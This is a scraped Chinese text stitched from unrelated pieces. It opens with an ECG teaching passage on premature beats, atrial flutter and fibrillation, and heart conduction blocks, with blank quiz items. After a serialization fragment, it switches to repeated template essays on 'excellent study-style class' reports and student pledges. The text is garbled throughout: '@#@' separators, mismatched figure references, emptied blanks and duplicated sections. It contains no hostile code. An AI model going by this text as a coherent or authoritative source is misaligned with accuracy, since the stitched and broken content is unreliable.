@#@异位起搏点位于心室，自律性异常增高,心室电激动依靠心室细胞之间电传递完成，时间较缓慢，激动的顺序也与正常不一样，故QRS宽大畸形，这个激动无法逆行通过交界区到心房，故无P波。

@#@其特征为：

@#@@#@1、提前出现的宽大畸形的QRS波群，时间>@#@0.12s；@#@@#@2、这个宽大畸形的QRS波群的前面没有P波。

@#@@#@在过早搏动的形成中，异位起搏点可以和正常的窦性起搏点按一定的比例相互存在，如果1个正常的起搏点后出现一个异位起搏，这被称作二联律（图4-16），如果2个正常的起搏点后出现1个连续的异位起搏，则称为三联律。

@#@当多个（≥3个）连续的异位起搏时则形成室性心动过速（图4-5，图4-6）。

@#@@#@正常的QRS波群@#@提前出现的宽大畸形的QRS波群，前面没有P波@#@图4-15室性过早搏动@#@临床意义：

@#@房性过早搏动和交界性过早搏动激动心室是通过正常途径，因而对心室的泵血功能影响较小，室性过早搏动激动心室是依靠心肌细胞之间电@#@传递，时间长，顺序也不正常，因而对心室的泵血功能影响就大，特别是室性过早搏动频繁发生或连续出现时，就更为明显。

@#@@#@@#@图4-16室性过早搏动呈二联律@#@二、心房扑动：

@#@异位起搏点位于心房内，心房快速连续的激动，形成心房扑动波，呈“锯齿形”称为F波，它的速率在250-350次/分。

@#@但这些激动并不是都能传递给房室结而下传心室，通常是2-5个心房扑动波中有一个激动下传心室形成QRS波，如果这个下传的比例是不固定的，如2：

@#@1传导和3：

@#@1传导交替出现，则出现心律不齐。

@#@其特点为：

@#@@#@1、P波变成锯齿状的F波，频率在250-350次/分；@#@@#@2、鉴于扑动波的频率和形态无法测量P-R间期；@#@@#@3、心房扑动下传心室的比例如果是固定的，则QRS波心律规则整齐。

@#@如果下传的比例不固定，则出现QRS波心律不齐；@#@@#@4、QRS波正常（<@#@0.1s）。

@#@@#@P波变成锯齿状的F波，2：

@#@1传导@#@P波变成锯齿状的F波，5：

@#@1传导@#@@#@图4-17心房扑动@#@说明：

@#@本例为2：

@#@1与5：

@#@1传导同时存在，传导比例不固定，出现R-R间期不规则，因而心律不规则（图4-14）。

@#@@#@P波变成锯齿状的F波，均为3：

@#@1传导，R-R间距固定@#@图4-18心房扑动@#@说明：

@#@本例传导比例均为3：

@#@1，R-R间期固定，因而心律规则（图4-18）。

@#@@#@三、心房颤动：

@#@心房内出现方向不同，速率不等、不规则的、零乱的多发性心房激动，称为f波。

@#@这时心房的激动速率是极快的，通常为350-600次/分，由于心房激动的高速率和不规则，使得哪次激动能够下传心室形成QRS波也就不固定，也就是说并不是所有的心房激动都能下传到心室。

@#@正常心律是窦房结激动心房，就像会议上只有1个人讲话，而房颤就如同大家七嘴八舌，缺乏统一指挥。

@#@心房颤动的特点为：

@#@@#@1、P波变成极快频率为350-600次/分、杂乱无章的“f”波@#@2、由于房颤波极不规则，无法测量P-R间期@#@3、R-R间距不等，称为心律绝对不齐@#@4、QRS波群正常（QRS<@#@0.1s）。

@#@@#@P波变成极快频率为350-600次/分、杂乱无章的“f”波。

@#@@#@图4-19心房颤动@#@考考您：

@#@@#@1、过早搏动：

@#@又称期前收缩，是指出现的心脏搏动。

@#@根据异位起博点的不同，分为、、三种过早搏动。

@#@@#@2、房性过早搏动的特点是：

@#@提前出现的QRS波群，前面P波，QRS波群形态。

@#@@#@3、室性过早搏动的特点是：

@#@提前出现的QRS波群，前面P波，QRS波群形态。

@#@@#@4、交界性过早搏动的特点是：

@#@提前出现的QRS波群，前面P波，QRS波群形态。

@#@@#@5、心房扑动时，P波变成的F波，无法测量P-R间期。

@#@心房扑动下传心室的比例如果是固定的，则QRS波。

@#@如果下传的比例不固定，则出现QRS波。

@#@@#@6、心房颤动时，P波变成极快频率的“f”波，无法测量P-R间期，R-R间距不等，称为心律，QRS波群正常。

@#@@#@第四节心脏传导阻滞@#@思考一下：

@#@司令部的命令是如何传达到士兵的。

@#@首先由司令部的统帅（窦房结）发出命令由司令部的参谋长（心房）传达给师部（房室结）师部再传给连排部队（Purkinje网状纤维）－最后到达士兵（心室肌细胞）。

@#@@#@司令部统帅（窦房结）@#@窦房传导阻滞@#@参谋长（心房）@#@房室传导阻滞@#@师部（房室结）@#@连排部队（Purkinje网状纤维）束支传导阻滞@#@士兵（心室肌细胞）@#@心脏传导阻滞就是指任何一个命令传达的环节出了故障，这包括传达缓慢和传达中断。

@#@如果命令传达速度缓慢，但还是能够到达，称为一度阻滞，如果传达速度并不缓慢，但有时能传达，有时不能传达称二度阻滞，如果每次都不能传达，彻底中断，称为三度阻滞。

@#@可理解为心脏传导阻滞就是电流传导缓慢或中断。

@#@@#@根据发生传导阻滞的部位不同，分为三种类型：

@#@@#@窦房传导阻滞@#@房室传导阻滞@#@束支传导阻滞@#@房室传导阻滞@#@束支传导阻滞@#@窦房传导阻滞@#@图4-20心脏传导阻滞示意图@#@一、窦房传导阻滞：

@#@是指窦房结发出激动传递给心房过程中发生的阻滞。

@#@也就是传导阻滞发生的部位位于窦房结与心房之间。

@#@相当于司令部内部统帅的命令在传达给参谋长过程中出现障碍。

@#@应该明确的是心电图中的P波是由心房的电激动形成，并不是窦房结本身的电激动，所以当窦房结一度和三度传导阻滞时在心电图上无法识别。

@#@在二度窦房阻滞中，窦房结的激动有时能传给心房形成P波，有时不能传给心房形不成P波。

@#@其特点为：

@#@@#@1、在一系列的P-QRS波群中，突然出现了一个长停顿，随后又出现P-QRS波；@#@@#@2、长P-P间距是短P-P间距的整数倍（2-4倍）；@#@@#@3、P-R间期与QRS波群正常。

@#@@#@短P-P间距为1.06秒@#@长P-P间距为2.12秒@#@图4-21窦房传导阻滞@#@二、房室传导阻滞：

@#@是指心房将电激动传递给心室过程中发生的阻滞，也就是传导阻滞发生的部位位于心房与心室之间。

@#@相当于司令部与连排之间的命令传递出现障碍。

@#@常发生于房室交界区和房室结。

@#@@#@

（一）一度房室传导阻滞时，激动在心房与心室中能够传导，但速度减慢，表现为反映心房与心室之间传导速度的P-R间期延长。

@#@其特点为：

@#@@#@1、P波-QRS波群正常顺序出现；@#@@#@2、P-R间期>@#@0.21s；@#@@#@3、P波与QRS波形态与时限正常。

@#@P-R间期为0.28秒@#@@#@图4-22一度房室传导阻滞@#@

（二）二度房室传导阻滞：

@#@激动在房室之间能够传导，但并不是全部心房激动都能够下传心室，有时能传导，有时不能传导。

@#@这里存在着2种情形：

@#@@#@1、二度Ⅱ型房室传导阻滞：

@#@可以是一次，也可以是数次心房激动没有传到心室，如果2次心房激动有1次下传心室称2：

@#@1传导阻滞，3次心房激动有1次传导心室称3：

@#@1传导阻滞，依此类推。

@#@心房激动不能下传到心室时，P波后面没有QRS波群，如果能下传心室P波后面则有QRS波群。

@#@其特点为：

@#@@#@①P波后面有QRS波群或无QRS波群同时存在。

@#@@#@②P波与QRS波形态时限是正常的。

@#@@#@③P波后面有QRS波群时，P-R间期正常。

@#@@#@④P-P间距相等。

@#@@#@P波后面无QRS波群@#@P波后面有QRS波群@#@二度Ⅱ型房室传导阻滞（2：

@#@1传导阻滞）@#@②二度Ⅰ型传导阻滞（文氏现象）：

@#@@#@图4-23二度Ⅱ型房室传导阻滞@#@2、二度Ⅰ型房室传导阻滞（文氏现象）：

@#@@#@从一种房室传导状态通常是正常房室传导开始，出现传导阻滞逐渐加重，直到有1次从心房到心室的传导中断，然后再重复上述的过程。

@#@特点为：

@#@@#@①P-R间期逐渐延长，例如第2个心搏的P-R间期大于第1个，第3个心搏的P-R间期大于第2个；@#@@#@②P-R间期逐渐延长，直到有1次心房激动不能下传心室，即P波后面没有QRS波群，出现一个长间距；@#@@#@③长间距以后再重复和①、②、③的过程，即P-R间期逐渐延长，直至出现有1次P波后面没有QRS，周而复始；@#@@#@④P波与QRS波时限与形态正常。

@#@@#@再次出现P-R间期逐渐延长@#@P波后面没有QRS波群，出现一个长间距@#@P波后面没有QRS波群，出现一个长间距@#@P-R间期逐渐延长@#@图4-24二度Ⅰ型房室传导阻滞（文氏现象）@#@3、三度房室传导阻滞（完全性房室传导阻滞）：

@#@指激动在心房与心室之间的传导完全中断，就像司令部与基层作战单位彻底失去联系。

@#@此时出现各个部门各自为战的情况。

@#@此时心房在窦房结的控制下以60-100次/分的频率激动，而心室则按照自身固有频率30-40次/分激动，心房与心室在支配关系上完全分离，二者互不影响。

@#@其特点为：

@#@@#@①P波与QRS波群无关系，没有固定的或有规则的P-R间期；@#@@#@②P-P间距固定，心房率通常为60-100次/分；@#@@#@③R-R间距固定，心室率通常为30-40次/分；@#@@#@④因为使心室激动的起搏点位于心室内，故QRS波群宽大畸形（QRS>@#@0.1s）。

@#@@#@P@#@P@#@P@#@P@#@P@#@P@#@P@#@P@#@图4-25三度房室传导阻滞@#@P波与QRS波群之间无关联性，任意2个相邻的P波之间的P-P间期相等，任意2个相邻的R波之间的R-R间期相等，P-P间期相等而小于R-R间期，表明心房率大于心室率。

@#@P@#@P@#@P@#@P@#@P@#@P@#@P@#@P@#@P@#@图4-26三度房室传导阻滞@#@临床意义：

@#@传导比率在3：

@#@1以上的二度Ⅱ型房室传导阻滞和Ⅲ度房室传导阻滞，其共同点为心室率缓慢，从而造成心输出量下降，出现头晕、胸闷、晕厥、低血压、甚至休克等严重表现，是需要紧急处理的严重心律失常。

@#@@#@三、束支传导阻滞@#@如图所示，师部在接到司令部的命令后，沿线路1传递给右侧A连，沿线路2传递给右侧的B连。

@#@给A连和B连的传递是同时进行的。

@#@如果线路发生故障，则A连首先接到命令，并通过A连与B连之间的连级线路向B连传递命令，这样B连接到命令的时间就要推迟，其结果是从师部下传命令开始到A、B两连都接收到命令的总时间延长了。

@#@@#@窦房结@#@司令部@#@@#@@#@师部@#@房室结@#@@#@右束支@#@左束支@#@@#@线路2@#@线路1@#@右心室@#@@#@左心室@#@B连@#@A连@#@@#@@#@@#@图4-27束支传导阻滞示意图@#@束支传导阻滞是指激动在左束支或右束支传导过程中发生障碍。

@#@正常情况下，激动沿左束支传导到左心室，沿右束支传导到右心室，激动同时传达到左右心室。

@#@任一束支阻滞都导致该侧的激动传导延迟，一侧束支传导阻滞后，激动由另一侧束支传导至该侧阻滞部位以下的传导组织。

@#@例如右束支阻滞，激动自房室结传导给左束支，再经左束支传递给右束支阻滞部位以下的传导组织。

@#@因而左心室先激动，激动波称为R波，右心室后激动，激动波称为R′波，左束支阻滞时，情况则相反。

@#@@#@其特点为：

@#@@#@①心电图的胸前导联QRS波型表现为双峰波（R-R′波），具体表现可有rSR′或粗钝并带有切迹的R波。

@#@@#@②QRS>@#@0.12s。

@#@@#@③T波倒置。

@#@@#@④双峰波出现在右胸导联如V1和/或V2，为右束支阻滞，@#@　　　双峰波出现在左胸导联如V5和/或V6，为左束支阻滞。

@#@@#@V1、V2、V3导联为双峰型rSR′，时间>@#@0.12s@#@图4-28（完全性）右束支传导阻滞V5为双峰型rSR′，V6为粗钝并带有切迹的R波，时间>@#@0.12s@#@图4-29（完全性）左束支传导阻滞@#@临床意义：

@#@左心室的收缩有赖于左束支有效激动的传导，当左束支传导完全阻滞时，左右心室的激动顺序出现紊乱，会影响心脏的泵血功能，是一种严重的心律失常，有时是急性心肌梗死的表现，不能掉以轻心。

@#@@#@心律失常快速诊断路线图@#@一、心率加快：

@#@二、心率减慢@#@窦性心动过速（P）窦性心动过缓（P）@#@房性心动过速（P）交界性逸搏心律（P）@#@交界性心动过速（P）室性逸搏心律（P）@#@室性心动过速（P）房室传导阻滞（P）@#@心房颤动（P）心室颤动（P）@#@心房扑动（P）窦房传导阻滞（P）@#@心室扑动（P）@#@@#@三、心律不齐四、QRS波异常@#@过早搏动（P）室性过早搏动（P）@#@心房颤动（P）室性逸搏心律（P）@#@心房扑动（P）束支传导阻滞（P）@#@房室传导阻滞（P）心室扑动（P）@#@心室颤动（P）心室颤动（P）@#@窦房传导阻滞（P）@#@考考您：

@#@@#@1、心脏传导阻滞中，如果传导能进行，但仅是传导速度缓慢，称为阻滞，如果传导有时能进行，有时不能进行称为阻滞，如果每次都不能进行传导，彻底中断称为阻滞。

@#@@#@2、窦房结特点是，有P波存在，长P-P间距是短P-P间距的。

@#@@#@3、房室传导阻滞常发生的部位是。

@#@@#@4、一度房室传导阻滞时，其特点为：

@#@P-R间期，时间>@#@0.21s@#@";i:

7;s:

23373:

"优良学风班总结@#@优良学风班总结@#@优良学风班总结@#@我们xxxx班是一个积极进取，奋发向上的和谐班集体。

@#@全班人，其中男生人。

@#@同学之间团结互助，和睦相处，班级气氛融洽。

@#@@#@一个优秀的班级，如同一个出色的学生，要全面发展。

@#@下面我将从几个方面向大家介绍我班情况：

@#@@#@一、学习方面@#@1．这一方面也是我班最引以为荣的，我们班学习气氛浓厚，把专业学习放在第一位。

@#@大二虽然取消了早晚自习，但是部分同学一直坚持上早、晚自习，这不仅是英语学习的要求，也是我们自身的要求；@#@@#@2．201X年下学期，学校统一报考英语四级，我班32人报考，大部分同学已通过学校规定的分数线；@#@本学期有7人报考英语六级；@#@@#@3．黄珍珍、童甜甜等五位同学参加第二专业辅修；@#@@#@4．上学期期末考试，班级整体成绩名列全系前茅，及格率达到90%以上，姚献兰、童甜甜在XX年下学期期末考试中获一等奖学金，我班在同专业中一等奖学金获得率排名第一；@#@@#@5.我班同学不仅在专业方面成绩突出，同时也积极拓展其他方面的能力，如：

@#@XX年下学期，童甜甜、周敏2人参加全国三级人力资源师考试，并顺利通过，本学期有20人已报考了人力资源管理师证考试。

@#@6.我班同学一直重视课堂教学，到课率一直都保持在95%以上，一直名列全院前茅@#@二、活动方面@#@1．我们班不仅注重自身发展，同时也很关注学校的发展，以一种我以学校为荣的主人翁态度去为学校的发展贡献力量。

@#@@#@2．XX年下学期在我系举办的首届模拟招聘会中，我班童甜甜被评为最佳应聘者；@#@@#@3．我班同学也积极参加各种课内外活动，我班喻叙少任fl学习交流协会会长、1061创业社顾问、英语协会外联干部、组织拍摄学院首部学生dv剧《大学一年》；@#@副班长熊苗现任东杰经济管理研究协会副会长、系学生会办公室主任，组织委员肖伟阳现任动漫协会外联部长，班长杨宇峰现任系学生会生活卫生部部长，同时组织了素质拓展训练、外出游玩等一系列的班级活动，丰富了我们的课余生活，提高并锻炼我们的综合素质，增强了班级凝聚力；@#@@#@三、思想动态方面@#@1.我班同学积极向党组织靠拢，现共递交入党申请书25份，已经有24名同学成为了入党积极分子；@#@@#@2.我们也是一个极富爱心的班级，201X年上学期，在得知07级旅管班陈刚同学身患重病无钱治疗后，我班发起捐款行动，所捐款金额达七百多元；@#@@#@四、班级管理方面@#@1．班委会定期召开班会，加强班风学风建设，并制定了十分制，为同学们提供了一个良好的学习环境；@#@@#@2．实行班干部负责制，并对班干部实行量化管理，确保榜样作用；@#@快两年的大学生活在有的人看来也许平淡无奇，但对于我们却是一生的骄傲和美好无尽的回忆，一个和睦的班级就像一个和睦的家庭一样重要，对于我们莘莘学子来说，班级就是我们的避风港，是我们力量的源泉！

@#@@#@篇二：

@#@@#@学风建设是班级建设的重中之重，学风是一个班级的灵魂，良好的学风是提高学生整体素质的前提和保证@#@一个学期以来，我们初二@#@

（2）班全体师生以守纪勤学为主线，围绕乐学、勤学、善学做文章，以端正学习态度，指导学习方法，培养学习能力，全面提高成绩为出发点和归宿点，奋发图强，勇于进取，取得了较好的成绩。

@#@在期中和期末都夺得了评均分总分第一的好成绩，年级前五十名我们班占了七名。

@#@在期末被学校评为班级综合实力奖。

@#@@#@一、以真挚的爱心感染人@#@在学风建设中，我本着晓之以理，动之以情的工作原则，以真挚的爱心感染学生。

@#@坚持做到一日三查：

@#@早读课，写字课，晚自习我都望闻听切学生的身体状况和精神状态，哪怕是一声轻微的咳嗽，一道细小的伤，一声轻轻的叹息，一丝忧郁的目光，我都不放过，及时询问，促膝谈心，妥善解决。

@#@通过家访、电话调查，周记反馈等形式了解学生的思想和学习状况，因材施教，对症下药。

@#@通过组织各种活动，进一步增强集体凝聚力和荣誉感。

@#@通过以上工作，学生们感受到了班主任的爱，集体的温暖。

@#@@#@二、以优良的环境培养人@#@整洁优美的自然环境和浓郁的人文环境对学生的成长非常有利，能激发学生的学习，生活的热情和斗志。

@#@所以我们班坚持一日三小扫，时时保洁，每周一大扫，彻底清洁，定时检查，评比卫生先进小组，班级的清洁工作获得了学校的好评。

@#@坚持利用每周班会课对学生进行革命传统教育，理想教育，学习方法指导，及时公布班级新人新事，使学生的人生观，学习观有了很大的变化。

@#@全班学生自觉遵守《学生手册》中的有关规定，做到不无故迟到、早退、不旷课，不抄袭作业，考试中无舞弊行为。

@#@一直以来我们班级整体学习状况良好，班级中到处都洋溢着浓厚的学习气氛。

@#@@#@三、以良好的班风凝聚人@#@在班级管理中，注重良好班风的形成，坚持以良好的班风凝聚人，以守纪勤学为主线，围绕乐学、勤学、善学做文章，施行班干竞争制，轮流值日制，班情公示制。

@#@并定期评选班级六星，使学生学有榜样。

@#@充分利用班会，励志事例对学生进行理想教育，帮助学生树立正确的人生观，价值观。

@#@@#@四、以浓烈的学风引导人@#@学生的天职就是学习，学风建设是班级建设中不容忽视的重要方面。

@#@在学风建设中坚持以端正学习态度，指导学习方法，培养学习能力，全面提高成绩为出发点和归宿点，充分利用主题班会、个别谈心、电话走访、小组帮扶等形式端正学生的学习态度，指导学生的学习方法，培养学生的学习能力。

@#@利用月考、期中期末考试评选十大标兵，单科状元，进步之星。

@#@极大的激发了学生的学习热情。

@#@@#@五、结语@#@优良的学风是一所学校最宝贵的财富之一，是学校生存和发展的必然条件。

@#@一个和睦的班级就像一个和睦的家庭一样重要，对于学生来说，班级就是他们的避风港，是他们力量的源泉。

@#@在这后期的时间里，我们班会继续实施创优计划，继续学习学风建设，发扬好的地方，改进不足之处，争取处处体现出我们优良的一面！

@#@全体同学将凝聚一心在班长的带领下将班风、学风进一步提高，我们有信心也有实力争得这份荣誉，我们会竭尽全班同学的努力，为这份荣誉而奋斗。

@#@二@#@

（2）班，一个充满了活力的班级，一个积极向上的班级，我们相信：

@#@只要我们抱定信念，顽强拼搏，再接再厉，必将更上一层楼！

@#@@#@篇三：

@#@@#@我们xxxx班是一个积极进取，奋发向上的和谐班集体。

@#@全班人，其中男生人。

@#@同学之间团结互助，和睦相处，班级气氛融洽。

@#@@#@一个优秀的班级，如同一个出色的学生，要全面发展。

@#@下面我将从几个方面向大家介绍我班情况：

@#@@#@一、学习方面@#@1．这一方面也是我班最引以为荣的，我们班学习气氛浓厚，把专业学习放在第一位。

@#@大二虽然取消了早晚自习，但是部分同学一直坚持上早、晚自习，这不仅是英语学习的要求，也是我们自身的要求；@#@@#@2．201X年下学期，学校统一报考英语四级，我班32人报考，大部分同学已通过学校规定的分数线；@#@本学期有7人报考英语六级；@#@@#@3．黄珍珍、童甜甜等五位同学参加第二专业辅修；@#@@#@4．上学期期末考试，班级整体成绩名列全系前茅，及格率达到90%以上，姚献兰、童甜甜在XX年下学期期末考试中获一等奖学金，我班在同专业中一等奖学金获得率排名第一；@#@@#@5.我班同学不仅在专业方面成绩突出，同时也积极拓展其他方面的能力，如：

@#@XX年下学期，童甜甜、周敏2人参加全国三级人力资源师考试，并顺利通过，本学期有20人已报考了人力资源管理师证考试。

@#@6.我班同学一直重视课堂教学，到课率一直都保持在95%以上，一直名列全院前茅@#@二、活动方面@#@1．我们班不仅注重自身发展，同时也很关注学校的发展，以一种我以学校为荣的主人翁态度去为学校的发展贡献力量。

@#@@#@2．XX年下学期在我系举办的首届模拟招聘会中，我班童甜甜被评为最佳应聘者；@#@@#@3．我班同学也积极参加各种课内外活动，我班喻叙少任fl学习交流协会会长、1061创业社顾问、英语协会外联干部、组织拍摄学院首部学生dv剧《大学一年》；@#@副班长熊苗现任东杰经济管理研究协会副会长、系学生会办公室主任，组织委员肖伟阳现任动漫协会外联部长，班长杨宇峰现任系学生会生活卫生部部长，同时组织了素质拓展训练、外出游玩等一系列的班级活动，丰富了我们的课余生活，提高并锻炼我们的综合素质，增强了班级凝聚力；@#@@#@三、思想动态方面@#@1.我班同学积极向党组织靠拢，现共递交入党申请书25份，已经有24名同学成为了入党积极分子；@#@@#@2.我们也是一个极富爱心的班级，201X年上学期，在得知07级旅管班陈刚同学身患重病无钱治疗后，我班发起捐款行动，所捐款金额达七百多元；@#@@#@四、班级管理方面@#@1．班委会定期召开班会，加强班风学风建设，并制定了十分制，为同学们提供了一个良好的学习环境；@#@@#@2．实行班干部负责制，并对班干部实行量化管理，确保榜样作用；@#@快两年的大学生活在有的人看来也许平淡无奇，但对于我们却是一生的骄傲和美好无尽的回忆，一个和睦的班级就像一个和睦的家庭一样重要，对于我们莘莘学子来说，班级就是我们的避风港，是我们力量的源泉！

@#@@#@篇四：

@#@@#@为响应学院开展创优良学风班做文明联大人主题教育月活动，12月1日，城市系07资源环境班开展了文明修身主题班会。

@#@到会的有：

@#@学生处副处长xxx、系党总支书记xx、班主任xx、城市系各级班级干部以及07资源班全体同学。

@#@@#@首先由系党总支书记xx发言，指出了此次活动的重要意义，评价与肯定了该班在过去两年中的成绩与优秀事迹，并希望全班同学能再接再厉，给学弟学妹树立榜样。

@#@@#@接着，播放了该班在上城市总体规划课上，同学们认真听讲、积极讨论的一个小的短片，展现了优良的课风、学风。

@#@同学们表演了争做文明联大人的小品,通过平时经常遇到的种种现象,表明大学生无论在校内还是校外都要树立大学生的良好形象。

@#@出色表演，使原本严肃的班会气氛活跃起来，同时文明形象的概念更加深入人心。

@#@在同学讨论环节，伴着《礼》这首歌环绕在教室的每个角落,教室里一片沸腾。

@#@同学们畅所欲言，探讨了班集体现在存在的一些问题、对班集体无限的热爱以及对班级未来的期望。

@#@@#@xx在总结发言中强调了学院的纪律，以及文明修身的重要性，并倡导大家继续努力，从细小的事情做起。

@#@班会的尾声，《礼》这首歌再次响遍全班，全班同学起立，一起郑重宣誓向不文明行为宣战，创优良学风班，做文明联大人。

@#@@#@此次班会的召开有利于今后班风学风的建设、同学自身文明形象的树立。

@#@同时，也增强了班级凝聚力，有助于每位同学树立主人翁意识，团队意识，文明意识。

@#@@#@篇五：

@#@@#@学风建设具体收获。

@#@我们班现有30名同学，团员29人，预备党员3人、入党积极分子18人、递交入党申请书29人，我班共有10名学生干部，占班级总人数的33.3%，其中有部长4个、副部长2个。

@#@两年来，通过大家的努力，我班获得07-08学年新生足球赛第二名、优秀团日活动奖等荣誉。

@#@@#@通过两年的学风建设，我班收获了累累硕果，并一次次在进步。

@#@第一学年结束，我班有1人获一等奖学金、1人获二等奖学金、2人获三等奖学金，社会工作优秀奖2人、三好学生4人及优秀学生干部2人，共12人次。

@#@此外，我班同学张旭辉同学获全国藤球比赛第四名，林辉同学获中华青少年儿童文艺英才推选最佳志愿者工作奖、201X年度宁波市优秀志愿者称号等。

@#@@#@直面现实，我班英语四级成绩不大理想，大二结束，我们过400分16人，过四级率仅为53.3%；@#@过425分为13人，占班级的43.3%。

@#@，有2人过六级。

@#@@#@学风建设具体做法。

@#@@#@学习共进。

@#@针对我班部分同学英语基础薄弱、底子差的现状，在班委的倡导下，展开学习互助、学习资料共享行动，交流学习经验和心得。

@#@利用班级博客、班级qq群等信息渠道发布和展示班级日志照片，便于同学快速了解和分享班级最新动态，以达到班级信息公开化，扩大同学在班级活动中的参与度和积极性。

@#@我班鼓励同学们积极参加科研立项、创业大赛等以巩固知识，学以致用。

@#@通过两年的基础及专业学习，大家都很想展示一下自己学到的知识。

@#@在科研立项中，同学们也积极参与。

@#@我班申报并获批准2支项目，一支重点项目：

@#@双酚酸型阻燃剂的制备，一支一般项目：

@#@金属钯纳米材料的制备及其在硝基化合物还原反应中的应用。

@#@@#@班级建设。

@#@要成功创建优良学风班，同学们的积极参与，对自己严格要求是基础，班委的组织领导是关键。

@#@班级文明公约家有家规明确提出加强班委制度和班级制度建设。

@#@班委制度中细化了班委的要求、职责、班委会制度等内容；@#@班级制度实施班级学分制，包括集体活动、学习纪律、日常秩序管理等内容都做了相应的加减分规定。

@#@制度实施由班委负责，受全班同学共同监督，做到公平、公开、公正，为加强班级建设提供强有力的制度保障。

@#@同时强大的班级凝聚力能增强同学们的积极性和自律性。

@#@为了提升班级凝聚力，我班开展了一系列活动，包括:

@#@主题班会、欢庆女士节团支部活动、纪念五四运动90周年爱国主义影视作品观看、与其他班级举行友谊球赛、聚餐、专业联合秋游、志愿者服务等。

@#@为了进一步提高同学们的思想先进性，我班还多次开展对党章、十七大知识等的学习和讨论。

@#@@#@第二课堂。

@#@我班同学积极参与，丰富自己的大学生活的同时还学习到了很多书本及课堂上学不到的东西。

@#@认知实习我们参观了化工园区、橡胶生产等。

@#@暑期社会实践我班同学共参加到5支团队实践队伍和其他分散实践，其中有6人获学院、分院级暑期实践先进个人。

@#@在运动会、社团文化节、生化节、dna文化节等学院、分院开展的活动中也都能看到我班同学的身影，并且参加的运动会、改革开放征文大赛、十七大原文知识大赛、和谐青年评比、厨艺大赛、模拟社团等均有不错表现并多有获奖。

@#@@#@ @#@@#@附送：

@#@@#@优良学风班级承诺书@#@优良学风班级承诺书@#@优良学风班级承诺书我们1304班在班内每一位同学的支持与配合下，正在一点一点地进步当中。

@#@为了我们每位同学能够获得更多的进步，更快的成长我们需要更加严格的要求自己，不给自己短暂的大学生活带了遗憾的同时，也朝各自的目标前进。

@#@在此，愿每位同学都能够以几个方面的原则要求自己：

@#@1.以持之以恒的精神，认真积极的心态对待学习.求学之路并不容易，我们一步一个脚印慢慢累积..2.积极投身于学院活动，为大学生活多添色彩，为学院活动多添朝气..3.严以律己，自觉遵守规章制度，配合学院工作，不胡乱迟到旷课请假..4.宽以待人，班级同学团结互助，相亲相爱，并对自己与他人负责..以上内容看似简单，但需要大家用心牢记，承诺并付出实际行动，一同努力加油，相信每一位4班人都是最好的....！

@#@1304班全体同学201X年4月15日班级公开承诺书范文亲爱的同学们：

@#@为了加强班级管理，形成良好的班风学风，创建先进班集体，培养同学们热爱集体、团结互助、遵纪守法的良好品质，特制定如下公约，望同学们互相督促，共同遵守。

@#@1.树立集体荣誉高于一切的观念，时刻为班级着想。

@#@积极向班上提出好建议，服从并执行学校和班上的各种决议。

@#@2.争当学习标兵。

@#@上课专心听讲，勤于思考，勇于发言，按时完成作业。

@#@3.争做文明学生。

@#@相互问候有礼貌，接人待物彬彬有礼，讲卫生，上完课后及时收垃圾。

@#@4.严格遵守时间制度，不旷课不早退，严格办理请假手续，否则视为旷课。

@#@5.保证出勤率100%，力争班级挂科率不超过5%。

@#@班级公约大家定，行为习惯常对照，同学之间勤勉励，遵纪守法班风好。

@#@人管102@#@1、1022班长签字：

@#@人管102@#@1、1022团支部书记签字：

@#@优良学风个人承诺书大二第一学期马上快结束啦，在学校学习的时间已不多了，在这不断减少的时间里，我们更应该努力的学习。

@#@优良的学风，是大学的立校之本；@#@而文明的校园环境，是大学精神的外在体现。

@#@面对新时代的机遇与挑战，大二的学生更应该从点滴做起，严于律己，踏实求学，追求卓越。

@#@@#@1、确立明确的学习目的和奋斗目标，以饱满的热情投入到学习中去。

@#@@#@2、不旷课、不迟到、不早退，自觉遵守课堂教学纪律。

@#@@#@3、注重自己主观能动性和积极性的发挥。

@#@在课外不断培养自己的自学能力，要充分利用学院的图书馆、自修教室等学习场所，博览群书，完善知识结构。

@#@开阔视野，创新开拓，展现个性。

@#@@#@4、上网时间有个度，不沉迷于网络，电视剧，游戏，充分利用网上学习资源。

@#@@#@5、积极参加各类文体活动，在活动中提高自己的综合素质，拓展自己的能力。

@#@面对机遇和挑战，我应该充满生命的激-情，更应该从每一件小事做起，从每一天的学习生活做起，为今后参与社会竞争打下坚实的基础，为人生目标的实现而厚积薄发！

@#@从我做起，从今天开始，积极投入到学风建设中去，营造良好的教育教学氛围，创优良学风、树文明校风。

@#@承诺人：

@#@201X年11月15日优良学风承诺书学生学风，是读书之风，是治学之风，更是做人之风，是一所大学的灵魂和气质。

@#@它能体现一个班学生的精神面貌，良好的学风能促使同学们自强、自律、自尊，自爱。

@#@为端正学习态度，创建良好学习环境，营造浓郁的学习氛围，在此我向班主任老师作出如下承诺：

@#@@#@一、不迟到、不早退、不无故缺课，请假办理相关请假手续，并向班主任（辅导员）作书面申请，上课出勤率达以上，每学期至少听取学术报告次。

@#@@#@二、在任何考试中，遵守相关考试规则，按时到场、备齐证件、对号入座、不携带规定以外的物品入场，考试过程不得交谈、抄袭、传讯、夹带、自诵答案或其他作弊行为。

@#@@#@三、课余时间充分利用图书馆等资源，广泛涉猎各类知识，扩大知识面。

@#@结合学院读书月活动，每学期至少读书本。

@#@@#@四、上网时间要有度，不沉迷于网络游戏、电视剧，每天使用电脑娱乐时间不超过小时。

@#@@#@五、严格按照学校作息时间，早睡早起，建立良好的时间观念，培养自控能力，不打扰他人的休息、学习。

@#@@#@六、积极参加学校开展的各类文体活动，在活动中提高自己的综合素质，拓展自己的能力，培养实践能力和创新精神，每学期至少参加次。

@#@“一分耕耘，一分收获”，今天的付出一定会得到明天的回报。

@#@面对即将来临的机遇和挑战，我信心百倍，从每天的一点一滴做起，厚积薄发。

@#@承诺人签名：

@#@班主任签名：

@#@学风建设承诺书为了全面落实学院“优良学风工程”和“基础文明工程”建设，在全班营造浓厚的学习氛围，推动本班良好学风的形成，进一步增强全体学生“校兴我荣，校衰我耻”的责任感和使命感，我们全班同学一定严格遵守课堂学习秩序和纪律，严格遵守早晚自习课纪律及作息制度，并作出如下承诺：

@#@@#@1、教师上课时，认真听讲，不吃东西、睡觉、发短信、接听电话、看与本课程无关的书籍，不做其它一切与本课程无关的事情。

@#@根据教师的要求认真做好课堂笔记。

@#@@#@2、上课时不随意说话，有问题举手发言，对教师提出的问题积极思考，起立回答。

@#@@#@3、在上课时间之前进入教室，不提前离开教室，不迟到、不早退。

@#@迟到时，做到报告，教师允许后才进入教室。

@#@@#@4、上课时，关闭自己随身携带的通讯工具，上课进行中不出去会见亲友。

@#@特殊情况需经教师同意后才离开。

